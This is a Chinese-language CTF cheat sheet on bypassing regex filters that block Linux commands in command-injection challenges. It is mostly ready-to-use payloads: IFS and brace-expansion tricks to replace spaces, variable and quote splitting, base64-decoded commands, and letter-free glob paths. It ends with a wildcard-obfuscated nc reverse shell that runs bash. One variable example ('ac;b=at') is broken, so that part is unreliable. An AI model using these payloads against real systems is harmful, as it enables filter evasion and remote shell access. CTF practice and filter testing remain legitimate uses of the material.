linux命令绕过

前言:

做ctf时常常会遇到一些正则匹配将一些linux命令给过滤掉,这里将总结一些针对性的绕过方式。

一、空格绕过:

  {cat,flag.txt}
  cat${IFS}flag.txt
  cat$IFS$9flag.txt
  cat<flag.txt
  cat<>flag.txt

  kg=$'\x20flag.txt'&&cat$kg
  (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

二、敏感字符绕过:

假设过滤了cat

1.利用变量绕过:

ac;b=at;$a$b

2.利用base编码绕过

`echo 'Y2F0Cg==' | base64 -d` test.txt

3.连接符截断绕过:

 c'a't test.txt
 c\at test.txt
 ca$@t test.txt

三、通配符绕过

?在linux里面可以进行代替一个任意字符:

/???/[l-n]s     可替代ls
/???/c?t test.txt  可替代cat test.txt

*在linux里面可以代替任意个任意字符:

ls *.php 列出当前目录下所有php文件

无字母数字匹配:

如果我们遇到一个正则将字母数字$这些都过滤掉,要我们执行一个脚本的话.
假如脚本名称为chakdiD且在根目录/etc下,我们可以用:

. /???/???????[@-[]
[@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。

给一个匹配表:

字符 解释

*

匹配任意长度任意字符

?

匹配任意单个字符

[list]

匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合

[^list]

匹配指定范围外的任意单个字符或字符集合

[!list]

同[^list]

{str1,str2,…}

匹配 srt1 或者 srt2 或者更多字符串,也可以是集合

几个例子:

 /???/[:lower:]s
 /?s?/???/[n]c 2130706433 8888 -e /???/b??h
  ls {/ru,/tmp}n

 

字符匹配表参考:https://www.secpulse.com/archives/96374.html

参考大佬的通配符利用:https://www.freebuf.com/articles/web/186298.html

 

你可能感兴趣的:(linux命令绕过)